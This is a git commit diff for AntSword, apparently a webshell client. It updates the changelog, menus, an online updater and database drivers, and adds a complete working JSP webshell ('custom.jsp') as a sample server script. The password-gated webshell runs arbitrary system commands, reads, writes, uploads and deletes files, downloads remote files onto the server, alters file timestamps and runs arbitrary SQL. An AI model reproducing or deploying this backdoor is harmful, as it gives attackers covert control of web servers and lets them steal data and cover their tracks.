Commit 1e1c7e6f authored by Antoor's avatar Antoor

Merge pull request #28 from antoor/v1.1-dev

Update to v1.1.1
parents 4d6d559c f31ec40c
......@@ -4,7 +4,16 @@
## 2016/03
### /23
### /26
1. 文件管理双击:size < 100kb ? 编辑 : 下载
2. 调整 Custom 方式数据库部分代码 // 2-4:感谢[@Medicean](https://github.com/Medicean)
3. 添加 Shells 目录, 用于存放 shell 样本代码
4. 添加 `custom.jsp` 服务端样本代码
### /24
1. 文件管理双击文件进行编辑 //size < 100kb
### /23 (v1.1.0)
1. 优化数据处理截断算法
### /22
......@@ -34,10 +43,8 @@
# 待做事项
* 数据高级搜索功能
* 数据库配置编辑功能
* 数据发包代理功能
* 在线检测/下载/安装更新
* 虚拟终端复制粘贴tab补全
* 文件管理双击文件进行编辑 //size < 1024kb
* 插件模块 //实时编写插件执行、UI以及各种操作API设计
* 扩展模块 //用于扩展一些高级的功能,懒人必备
* 代码重构
......
......@@ -5,10 +5,11 @@ const app = electron.app;
const BrowserWindow = electron.BrowserWindow;
// 导入模块
const Cache = require('./modules/cache');
const Update = require('./modules/update');
const Menubar = require('./modules/menubar');
const Request = require('./modules/request');
const Database = require('./modules/database');
const Cache = require('./modules/cache');
// electron.crashReporter.start();
......@@ -59,4 +60,7 @@ app
// 初始化缓存模块
new Cache(electron);
// 监听更新请求
new Update(electron);
});
\ No newline at end of file
......@@ -4,6 +4,11 @@
'use strict';
// 读取package.json信息
const info = JSON.parse(
require('fs').readFileSync(require('path').join(__dirname, '../package.json'))
);
class Menubar {
constructor(electron, app, mainWindow) {
......@@ -14,6 +19,7 @@ class Menubar {
Menu.setApplicationMenu(Menu.buildFromTemplate([]));
// 监听重载菜单事件
ipcMain.on('menubar', this.reload.bind(this));
ipcMain.on('quit', app.quit.bind(app));
this.electron = electron;
this.app = app;
......@@ -95,8 +101,11 @@ class Menubar {
click: event.sender.send.bind(event.sender, 'menubar', 'tabbar-close')
}
]
}, {
// 调试
}
];
// 调试菜单
if (info['debug']) {
template.push({
label: LANG['debug']['title'],
submenu: [
{
......@@ -109,51 +118,49 @@ class Menubar {
click: this.mainWindow.webContents.toggleDevTools.bind(this.mainWindow.webContents)
}
]
}
];
// OSX主菜单
// if (process.platform === 'darwin') {
template.unshift({
label: LANG['main']['title'],
submenu: [
{
label: LANG['main']['about'],
accelerator: 'Shift+CmdOrCtrl+I',
click: event.sender.send.bind(event.sender, 'menubar', 'settings-about')
}, {
label: LANG['main']['language'],
accelerator: 'Shift+CmdOrCtrl+L',
click: event.sender.send.bind(event.sender, 'menubar', 'settings-language')
}, {
label: LANG['main']['aproxy'],
accelerator: 'Shift+CmdOrCtrl+A',
click: event.sender.send.bind(event.sender, 'menubar', 'settings-aproxy')
}, {
label: LANG['main']['update'],
accelerator: 'Shift+CmdOrCtrl+U',
click: event.sender.send.bind(event.sender, 'menubar', 'settings-update')
}, {
type: 'separator'
}, {
label: LANG['main']['settings'],
accelerator: 'Shift+CmdOrCtrl+S',
click: event.sender.send.bind(event.sender, 'menubar', 'settings')
}, {
type: 'separator'
}, {
label: LANG['main']['plugin'],
accelerator: 'Shift+CmdOrCtrl+P',
click: event.sender.send.bind(event.sender, 'menubar', 'plugin')
}, {
type: 'separator'
}, {
label: LANG['main']['quit'],
accelerator: 'Command+Q',
click: this.app.quit.bind(this.app)
},
]
});
// };
};
// 主菜单
template.unshift({
label: LANG['main']['title'],
submenu: [
{
label: LANG['main']['about'],
accelerator: 'Shift+CmdOrCtrl+I',
click: event.sender.send.bind(event.sender, 'menubar', 'settings-about')
}, {
label: LANG['main']['language'],
accelerator: 'Shift+CmdOrCtrl+L',
click: event.sender.send.bind(event.sender, 'menubar', 'settings-language')
}, {
label: LANG['main']['aproxy'],
accelerator: 'Shift+CmdOrCtrl+A',
click: event.sender.send.bind(event.sender, 'menubar', 'settings-aproxy')
}, {
label: LANG['main']['update'],
accelerator: 'Shift+CmdOrCtrl+U',
click: event.sender.send.bind(event.sender, 'menubar', 'settings-update')
}, {
type: 'separator'
}, {
label: LANG['main']['settings'],
accelerator: 'Shift+CmdOrCtrl+S',
click: event.sender.send.bind(event.sender, 'menubar', 'settings')
}, {
type: 'separator'
}, {
label: LANG['main']['plugin'],
accelerator: 'Shift+CmdOrCtrl+P',
click: event.sender.send.bind(event.sender, 'menubar', 'plugin')
}, {
type: 'separator'
}, {
label: LANG['main']['quit'],
accelerator: 'Command+Q',
click: this.app.quit.bind(this.app)
},
]
});
// 更新菜单栏
this.Menu.setApplicationMenu(this.Menu.buildFromTemplate(template));
}
......
//
// 程序更新模块
//
/* 更新流程:
-------
1. 获取远程github上的package.json信息
2. 和本地版本进行判断,不一致则提示更新
3. 下载用户选择的更新源文件到临时目录`.antSword-{now}`
4. 替换程序中的`resources/app.asar`文件
5. 提示用户手动重启,关闭应用
*/
'use strict';
const os = require('os'),
fs = require('fs'),
path = require('path'),
unzip = require('extract-zip'),
crypto = require('crypto'),
nugget = require('nugget'),
logger = require('log4js').getLogger('Update'),
superagent = require('superagent');
class Update {
constructor(electron) {
const ipcMain = electron.ipcMain;
this.info = {};
ipcMain
.on('update-check', (event, arg) => {
this.check(arg['local_ver'], (hasUpdate, retVal) => {
logger.debug('check-result', hasUpdate, retVal);
event.sender.send('update-check', {
hasUpdate: hasUpdate,
retVal: retVal
});
});
})
.on('update-download', (event, source) => {
logger.debug('update-download', source);
const info = this.info['update'];
const downloadUrl = info['sources'][source];
this.download(downloadUrl, info['md5'], (done, retVal) => {
event.sender.send('update-download', {
done: done,
retVal: retVal
});
});
});
}
// 检查是否有更新
// 参数{localVer: 本地版本号, callback: 回调函数(是否有更新, 是?更新信息:错误信息)}
check(localVer, callback) {
logger.debug('check', localVer);
superagent
.get('https://raw.githubusercontent.com/antoor/antSword/master/package.json')
.timeout(9527)
.end((err, res) => {
if (err) { return callback(false, err.toString()) };
try {
const info = JSON.parse(res.text);
this.info = info;
callback(info['version'] !== localVer, info);
} catch (e) {
return callback(false, e.toString());
}
});
}
// 下载更新
// 参数{downloadUrl: 下载地址, md5: 校验MD5, callback: 回调(成功?(true, null):(false, err))}
download(downloadUrl, md5, callback) {
// 创建临时文件
const tmpDir = os.tmpDir();
const fileName = '.antSword-' + (+new Date);
const tmpFileName = path.join(tmpDir, fileName);
// 当前目录环境
const curDir = path.join(__dirname, '../../');
// 开始下载文件
nugget(
downloadUrl,
{
target: fileName,
dir: tmpDir,
resume: true,
verbose: true,
strictSSL: downloadUrl.startsWith('https')
},
(err) => {
if (err) { return callback(false, err.toString()) };
// 校验MD5
const _md5 = crypto.createHash('md5').update(fs.readFileSync(tmpFileName)).digest('hex');
if (_md5 !== md5) { return callback(false, { type: 'md5', err: _md5 }) };
// ZIP解压
unzip(tmpFileName, {
dir: tmpDir
}, (e) => {
if (e) { return (callback(false, { type: 'unzip', err: e })) };
// 删除旧asar
// fs.unlinkSync(path.join(curDir, 'app.asar'));
// 移动新asar
fs.rename(
path.join(tmpDir, 'antSword.update'),
path.join(curDir, 'app.asar'),
(_e) => {
_e ? callback(false, _e.toString()) : callback(true);
}
);
});
}
);
}
}
module.exports = Update;
\ No newline at end of file
{
"name": "antsword",
"version": "1.1.0",
"version": "1.1.1",
"description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js",
"dependencies": {
......@@ -8,11 +8,13 @@
"babel-loader": "^6.2.4",
"babel-preset-es2015": "^6.6.0",
"babel-preset-stage-0": "^6.5.0",
"electron-prebuilt": "^0.36.10",
"electron-prebuilt": "^0.37.2",
"extract-zip": "^1.5.0",
"iconv-lite": "^0.4.13",
"lib-qqwry": "^0.0.5",
"log4js": "^0.6.29",
"nedb": "^1.5.1",
"nugget": "^2.0.0",
"superagent": "^1.6.1",
"superagent-proxy": "^1.0.0",
"webpack": "^1.12.14"
......@@ -27,6 +29,12 @@
"type": "git",
"url": "https://github.com/antoor/antSword"
},
"debug": true,
"update": {
"md5": "",
"logs": "",
"sources": {}
},
"bugs": {
"url": "https://github.com/antoor/antSword/issues"
},
......
## Shell-Scripts
> 此目录用于存放一些示例的服务端脚本文件,仅供参考。
\ No newline at end of file
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
/**
* AntSword JSP Spy
*
* AntSword 最低版本:v1.1-dev,使用方式 custom 模式连接
* Date: 2016/03/26 v1
* 1. 文件系统 和 terminal 管理
* 2. mysql 数据库支持
* 3. 支持 base64 和 hex 编码
**/
String Pwd = "ant"; //连接密码
String encoder = "base64"; // 数据编码
//String encoder = "hex";
String cs = "UTF-8";
String EC(String s) throws Exception {
if(encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes("ISO-8859-1"), cs);
}
String showDatabases(String encode, String conn) throws Exception {
String sql = "show databases"; // mysql
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "show tables from " + dbname; // mysql
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t";
String rowsep = "";
String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t"; // general
String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
throws Exception {
String ret = "";
conn = (EC(conn));
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
Class.forName(x[0].trim());
String url = x[1] + "&characterEncoding=" + decode(EC(encode),encoder);
Connection c = DriverManager.getConnection(url);
Statement stmt = c.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
if (needcoluname) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
String WwwRootPathCode(HttpServletRequest r) throws Exception {
String d = r.getSession().getServletContext().getRealPath("/");
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
String FileTreeCode(String dirPath) throws Exception {
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
return s += sF;
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
br.close();
return s;
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
bw.write(fileContext);
bw.close();
return "1";
}
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
File f = new File(fileOrDirPath);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|<-").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "1";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
String SysInfoCode(HttpServletRequest r) throws Exception {
String d = r.getSession().getServletContext().getRealPath("/");
String serverInfo = System.getProperty("os.name");
String separator = File.separator;
String user = System.getProperty("user.name");
String driverlist = WwwRootPathCode(r);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
boolean isWin() {
String osname = System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode){
if(encode.equals("hex") || encode=="hex"){
if(str=="null"||str.equals("null")){
return "";
}
StringBuilder sb = new StringBuilder();
StringBuilder temp = new StringBuilder();
try{
for(int i=0; i<str.length()-1; i+=2 ){
String output = str.substring(i, (i + 2));
int decimal = Integer.parseInt(output, 16);
sb.append((char)decimal);
temp.append(decimal);
}
}catch(Exception e){
e.printStackTrace();
}
return sb.toString();
}else if(encode.equals("base64") || encode == "base64"){
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
return str;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
}%>
<%
response.setContentType("text/html");
response.setCharacterEncoding(cs);
StringBuffer sb = new StringBuffer("");
try {
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = decode(EC(request.getParameter("z0")+""), encoder);
String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = { z0, z1, z2, z3};
sb.append("->|");
if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("D")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("E")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("F")) {
DownloadFileCode(pars[0], response);
} else if (funccode.equals("U")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("H")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("I")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("J")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("K")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("L")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("M")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("N")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("O")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("P")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("Q")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("A")) {
sb.append(SysInfoCode(request));
}
} catch (Exception e) {
sb.append("ERROR" + "://" + e.toString());
}
sb.append("|<-");
out.print(sb.toString());
%>
......@@ -7,6 +7,8 @@
'use strict';
const fs = global.require('fs');
const path = global.require('path');
const electron = global.require('electron');
const remote = electron.remote;
const ipcRenderer = electron.ipcRenderer;
......@@ -57,6 +59,7 @@ ipcRenderer.send('aproxy', {
antSword['ipcRenderer'] = ipcRenderer;
antSword['CacheManager'] = CacheManager;
antSword['menubar'] = new Menubar();
antSword['package'] = JSON.parse(fs.readFileSync(path.join(global.__dirname, '../package.json')));
// 加载模块列表
// antSword['tabbar'] = new dhtmlXTabBar(document.getElementById('container'));
......
//
//
// 默认代码模板
//
//
// @params
// :encode SHELL编码
// :conn 数据库连接字符串
// :sql 执行SQL语句
//
// :db 数据库名
// :table 表名
module.exports = {
show_databases: {
......@@ -16,12 +17,15 @@ module.exports = {
show_tables: {
_: 'O',
'z0': '#{encode}',
'z1': '#{conn}'
'z1': '#{conn}',
'z2': '#{db}'
},
show_columns: {
_: 'P',
'z0': '#{encode}',
'z1': '#{conn}'
'z1': '#{conn}',
'z2': '#{db}',
'z3': '#{table}'
},
query: {
_: 'Q',
......@@ -29,4 +33,4 @@ module.exports = {
'z1': '#{conn}',
'z2': '#{sql}'
}
}
\ No newline at end of file
}
......@@ -403,8 +403,33 @@ module.exports = {
},
update: {
title: 'Check update',
current: 'Current version',
toolbar: {
check: 'Check'
},
check: {
ing: 'Check for updates..',
fail: (err) => `Check for update failed!<br/>${err}`,
none: (ver) => `After examination, no update![v${ver}]`,
found: (ver) => `Found a new version [v${ver}]`
},
prompt: {
btns: {
ok: 'Update',
no: 'Cancel'
},
title: 'Update to version',
changelog: 'Change Logs: ',
sources: 'Download source: ',
fail: {
md5: 'File MD5 value check failed!',
unzip: (err) => `Unzip the file failed! [${err}]`
}
},
message: {
ing: 'Downloading..',
fail: (err) => `Update failed! [${err}]`,
success: 'Update success! Please manually restart the application later!'
}
},
aproxy: {
......
......@@ -404,8 +404,33 @@ module.exports = {
},
update: {
title: '检查更新',
current: '当前版本',
toolbar: {
check: '检查'
},
check: {
ing: '检查更新中。。',
fail: (err) => `检查更新失败!<br/>${err}`,
none: (ver) => `检查完毕,暂无更新!【v${ver}】`,
found: (ver) => `发现新版本【v${ver}】`
},
prompt: {
btns: {
ok: '更新',
no: '取消'
},
title: '版本更新',
changelog: '更新日志:',
sources: '更新来源:',
fail: {
md5: '文件MD5值校验失败!',
unzip: (err) => `解压文件失败!【${err}】`
}
},
message: {
ing: '努力更新中。。',
fail: (err) => `更新失败!【${err}】`,
success: '更新成功!请稍后手动重启应用!'
}
},
aproxy: {
......
//
//
// 数据库驱动::ASP
// 支持数据库:access,sqlserver,mysql
//
//
class ASP {
......@@ -9,9 +9,9 @@ class ASP {
this.opt = opt;
this.core = this.opt.core;
this.manager = this.opt.super;
//
//
// * 数据库驱动列表
//
//
this.conns = {
'mysql': 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456',
'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456',
......@@ -71,10 +71,11 @@ class ASP {
// 生成查询SQL语句
case 'column':
let _co = arr[1].split(':');
const db = new Buffer(_co[1], 'base64').toString();
const table = new Buffer(_co[2], 'base64').toString();
const column = new Buffer(_co[3], 'base64').toString();
const sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`;
const sql = `SELECT ${column} FROM ${db}.${table} ORDER BY 1 DESC;`;
this.manager.query.editor.session.setValue(sql);
break;
}
......@@ -253,7 +254,7 @@ class ASP {
{
conn: conf['conn'],
encode: this.manager.opt.encode,
dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database'
db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database'
}, (ret) => {
const arr = ret.split('\t');
if (arr.length === 1 && ret === '') {
......@@ -293,7 +294,7 @@ class ASP {
{
conn: conf['conn'],
encode: this.manager.opt.encode,
dbname: db
db: db
}, (ret) => {
const arr = ret.split('\t');
const _db = new Buffer(db).toString('base64');
......@@ -329,7 +330,8 @@ class ASP {
{
conn: conf['conn'],
encode: this.manager.opt.encode,
table: conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A) WHERE N=1` : `SELECT TOP 1 * FROM ${table}`
db: db,
table: table
}, (ret) => {
const arr = ret.split('\t');
const _db = new Buffer(db).toString('base64');
......@@ -352,8 +354,8 @@ class ASP {
// 更新编辑器SQL语句
this.manager.query.editor.session.setValue(
conf['type'] === 'oracle'
? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20`
: `SELECT TOP 20 * FROM ${table} ORDER BY 1 DESC;`);
? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${db}.${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20`
: `SELECT * FROM ${db}.${table} ORDER BY 1 DESC LIMIT 0,20;`);
this.manager.list.layout.progressOff();
});
}
......@@ -454,4 +456,4 @@ class ASP {
}
module.exports = ASP;
\ No newline at end of file
module.exports = ASP;
......@@ -346,12 +346,14 @@ class Files {
bmenu.hide();
});
// 双击::列出数据&&查看/编辑/下载文件(支持查看程序(png|jpg|gif..)则查看
//支持编辑文件(php,js,txt..)则启动编辑器,如果是二进制或压缩等文件(exe,dll,zip,rar..)则下载)
// 双击文件
// :如果size < 100kb,则进行编辑,否则进行下载
grid.attachEvent('onRowDblClicked', (id, lid, event) => {
const fname = grid.getRowAttribute(id, 'fname');
const fsize = grid.getRowAttribute(id, 'fsize');
if (!fname.endsWith('/')) {
// grid.callEvent('onRightClick', [id, lid, event]);
// 双击编辑size < 100kb 文件
fsize <= 100 * 1024 ? manager.editFile(fname) : manager.downloadFile(fname, fsize);
}else{
self.gotoPath(fname);
}
......
......@@ -3,6 +3,7 @@
//
const LANG = antSword['language']['settings']['update'];
const LANG_T = antSword['language']['toastr'];
class Update {
constructor(sidebar) {
......@@ -15,19 +16,152 @@ class Update {
// toolbar
const toolbar = cell.attachToolbar();
toolbar.loadStruct([
{ id: 'check', type: 'button', text: LANG['toolbar']['check'], disabled: true, icon: 'check-square-o' },
{ type: 'separator' }
{
id: 'check',
type: 'button',
// 调试或者windows平台不支持更新
disabled: antSword['package']['debug'] || process.platform === 'win',
text: LANG['toolbar']['check'], icon: 'check-square-o'
}, { type: 'separator' }
]);
// toolbar点击事件
toolbar.attachEvent('onClick', (id) => {
switch(id) {
case 'check':
this.checkUpdate();
break;
}
});
// status
cell.attachHTMLString(`
${LANG['current']}: ${antSword['package']['version']}
`);
this.cell = cell;
}
// 检查更新
checkUpdate() {
this.cell.progressOn();
toastr.info(LANG['check']['ing'], LANG_T['info']);
// 后台检查更新
antSword['ipcRenderer']
.on('update-check', (event, ret) => {
this.cell.progressOff();
const info = ret['retVal'];
// 木有更新
if (!ret['hasUpdate']) {
return typeof info === 'string'
? toastr.error(LANG['check']['fail'](info), LANG_T['error'])
: toastr.info(LANG['check']['none'](info['version']), LANG_T['info']);
}
// 发现更新
toastr.success(LANG['check']['found'](info['version']), LANG_T['success']);
// 更新来源html
let sources_html = `<select id="ant-update-source">`;
for (let s in info['update']['sources']) {
sources_html += `<option value="${s}">${s}</option>`;
}
sources_html += `</select>`;
// 提示更新
layer.open({
type: 1,
shift: 2,
skin: 'ant-update',
btn: [LANG['prompt']['btns']['ok'], LANG['prompt']['btns']['no']],
closeBtn: 0,
title: `<i class="fa fa-cloud-download"></i> ${LANG['prompt']['title']}[v${info['version']}]`,
content: `
<strong>${LANG['prompt']['changelog']}</strong>
<ol>
<li>${info['update']['logs'].split('\n').join('</li><li>')}
</ol>
<strong>${LANG['prompt']['sources']}</strong>${sources_html}
`,
yes: () => {
// 获取更新选择地址
const download_source = $('#ant-update-source').val();
// 开始更新
// 更新动画
this.updateLoading();
// 通知后台
antSword['ipcRenderer']
.on('update-download', (event, ret) => {
// 下载失败
console.log(ret);
if (!ret['done']) {
if (typeof ret['retVal'] === 'object') {
switch(ret['retVal']['type']) {
case 'md5':
this.updateFail(LANG['prompt']['fail']['md5']);
break;
case 'unzip':
this.updateFail(LANG['prompt']['fail']['unzip'](ret['retVal']['err']));
break;
default:
this.updateFail(ret['retVal']);
}
} else {
this.updateFail(ret['retVal']);
}
return;
}
this.updateSuccess();
})
.send('update-download', download_source);
}
});
})
.send('update-check', {
local_ver: antSword['package']['version']
});
}
// 更新动画
updateLoading() {
// 删除按钮
$('.layui-layer-btn').remove();
// 加载动画
$('.layui-layer-content').html(`
<div class="pacman">
<div></div>
<div></div>
<div></div>
<div></div>
<div></div>
</div>
<p align="center"><strong>${LANG['message']['ing']}</strong></p>
`);
}
// 更新失败提示界面
updateFail(tip) {
$('.layui-layer-content').html(`
<div align="center" style="color: red">
<i class="fa fa-times-circle update-icon" />
<p><strong>${LANG['message']['fail'](tip)}</strong></p>
</div>
`);
toastr.error(LANG['message']['fail'](tip), LANG_T['error']);
setTimeout(layer.closeAll, 1024 * 5);
}
当前版本:1.0.0
<br/>
暂不支持在线更新!
<br />
请访问<strong style="color:#0099FF">https://github.com/antoor/antSword</strong>获取最新版本!
// 更新成功提示界面
updateSuccess() {
$('.layui-layer-content').html(`
<div align="center" style="color: green">
<i class="fa fa-check-circle update-icon" />
<p><strong>${LANG['message']['success']}</strong></p>
</div>
`);
toastr.success(LANG['message']['success'], LANG_T['success']);
setTimeout(() => {
antSword['ipcRenderer'].send('quit');
}, 1024 * 3);
}
}
......
......@@ -21,4 +21,146 @@ html, body, #container, #loading {
width: auto !important;
padding: 0 5px;
background-color: #666 !important;
}
\ No newline at end of file
}
/*update*/
.ant-update {
font-family: sans-serif;
font-size: 14px;
}
.ant-update > .layui-layer-content {
padding: 10px 10px;
min-width: 300px;
}
.ant-update > .layui-layer-content > h3 {
margin: 0;
}
.ant-update > .layui-layer-content > ol {
color: #666;
}
.update-icon {
font-size: 100px;
text-align: center;
}
/*update-loading*/
@-webkit-keyframes rotate_pacman_half_up {
0% {
-webkit-transform: rotate(270deg);
transform: rotate(270deg); }
50% {
-webkit-transform: rotate(360deg);
transform: rotate(360deg); }
100% {
-webkit-transform: rotate(270deg);
transform: rotate(270deg); } }
@keyframes rotate_pacman_half_up {
0% {
-webkit-transform: rotate(270deg);
transform: rotate(270deg); }
50% {
-webkit-transform: rotate(360deg);
transform: rotate(360deg); }
100% {
-webkit-transform: rotate(270deg);
transform: rotate(270deg); } }
@-webkit-keyframes rotate_pacman_half_down {
0% {
-webkit-transform: rotate(90deg);
transform: rotate(90deg); }
50% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-webkit-transform: rotate(90deg);
transform: rotate(90deg); } }
@keyframes rotate_pacman_half_down {
0% {
-webkit-transform: rotate(90deg);
transform: rotate(90deg); }
50% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-webkit-transform: rotate(90deg);
transform: rotate(90deg); } }
@-webkit-keyframes pacman-balls {
75% {
opacity: 0.7; }
100% {
-webkit-transform: translate(-100px, -6.25px);
transform: translate(-100px, -6.25px); } }
@keyframes pacman-balls {
75% {
opacity: 0.7; }
100% {
-webkit-transform: translate(-100px, -6.25px);
transform: translate(-100px, -6.25px); } }
.pacman {
position: relative;
margin-left: 30%;
}
.pacman > div:nth-child(2) {
-webkit-animation: pacman-balls 1s 0s infinite linear;
animation: pacman-balls 1s 0s infinite linear; }
.pacman > div:nth-child(3) {
-webkit-animation: pacman-balls 1s 0.33s infinite linear;
animation: pacman-balls 1s 0.33s infinite linear; }
.pacman > div:nth-child(4) {
-webkit-animation: pacman-balls 1s 0.66s infinite linear;
